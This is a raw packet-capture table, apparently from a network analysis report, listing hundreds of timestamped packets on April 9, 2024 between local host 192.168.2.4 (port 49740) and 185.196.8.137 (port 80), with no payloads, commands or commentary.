Apr 9, 2024 14:54:04.661798000 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.661915064 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.661945105 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.661973000 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.661995888 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.662019014 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.662096024 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.662117958 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.662139893 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.662163973 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.662230968 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.662251949 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.662273884 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.662339926 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.662369967 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.662393093 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.662414074 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.662436962 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.662460089 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.662487984 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.662693977 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.662717104 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.662739992 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.662764072 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.662790060 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.662811995 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.662832022 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.662854910 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.662883997 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.662908077 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.662933111 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.662959099 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.662982941 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.663003922 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.663027048 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.663047075 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.663147926 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.663172960 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.663201094 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.663224936 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.663248062 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.663311958 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.663341999 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.663367033 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.663392067 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.663414955 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.663480043 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.663505077 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.663530111 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.663557053 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.663573980 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.663595915 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.663615942 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.663667917 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.663686037 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.663707018 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.663729906 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.663749933 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.663769007 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.663790941 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.663810968 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.663830996 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.663984060 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664000034 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664025068 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664048910 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664069891 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664088964 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664108992 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664128065 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664149046 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664169073 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664190054 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664206028 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664227009 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664244890 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664269924 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664300919 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664320946 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664347887 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664356947 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664447069 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664469957 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664489985 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664511919 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664526939 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664547920 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664602995 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664628029 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664647102 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664668083 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664694071 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664755106 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664776087 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664796114 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664819956 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664834976 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664856911 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664876938 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664932013 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664947033 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664968014 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.664992094 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665014982 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665034056 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665060043 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665081024 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665102959 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665256977 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665277958 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665301085 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665321112 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665333986 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665357113 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665385962 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665395021 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665414095 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665432930 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665455103 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665493965 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665503025 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665529966 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665553093 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665574074 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665595055 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665613890 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665631056 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665716887 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665733099 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665755987 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665776014 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665793896 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665816069 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665870905 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665899038 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665923119 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665944099 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665960073 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.665983915 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.666035891 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.666055918 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.666075945 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.666098118 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.666110039 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.672585964 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.672621965 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.672648907 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.672671080 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.672696114 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.672719002 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.672741890 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.672765970 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.672785997 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.672825098 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.672826052 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.672846079 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.672866106 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.672884941 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.672905922 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.672924995 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.672946930 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.672966957 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.672992945 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673017979 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673038960 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673058987 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673074007 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673095942 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673118114 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673131943 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673156023 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673176050 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673193932 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673214912 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673228025 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673263073 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673290968 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673312902 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673333883 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673355103 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673376083 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673394918 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673410892 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673434019 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673448086 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673470020 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673491001 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673511028 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673531055 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673547983 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673576117 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673599958 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673620939 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673643112 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673659086 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673681974 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673698902 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673718929 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673738956 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673753023 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673777103 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673794985 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673815012 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673834085 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673858881 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673875093 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673903942 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673926115 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673949003 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673969030 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.673990011 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674010992 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674025059 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674046993 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674068928 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674092054 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674102068 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674125910 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674143076 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674168110 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674195051 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674218893 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674240112 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674261093 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674271107 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674295902 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674314022 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674333096 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674355030 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674375057 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674395084 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674413919 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674554110 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674577951 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674595118 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674617052 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674640894 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674660921 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674679041 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674698114 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674719095 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674746037 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674766064 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674782991 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674907923 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674928904 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674947977 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674969912 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.674988985 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.675012112 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.675031900 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.675054073 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.675076008 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.675096035 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.675112963 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.675133944 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.675154924 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.675177097 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.675195932 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.675364017 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.675476074 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.675734043 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.675756931 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.675777912 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.675797939 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.675818920 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.675890923 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.675890923 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.675904989 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.675930023 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.675950050 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.675990105 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.676007986 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.676029921 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.676045895 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.676071882 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.676095009 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.677033901 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679071903 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679094076 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679115057 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679136992 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679157972 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679173946 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679192066 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679213047 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679227114 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679255962 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679275036 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679299116 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679322004 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679343939 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679359913 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679383039 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679421902 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679421902 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679440022 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679460049 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679476976 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679495096 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679519892 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679531097 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679552078 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679732084 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679749966 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679768085 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679791927 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679811001 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679826021 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679850101 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679876089 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679898024 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679918051 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679935932 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679954052 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.679977894 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680000067 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680010080 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680033922 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680054903 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680073977 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680094957 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680113077 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680134058 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680155039 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680172920 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680192947 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680212975 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680231094 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680250883 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680272102 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680284023 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680305958 CEST	49740	80	192.168.2.4	185.196.8.137
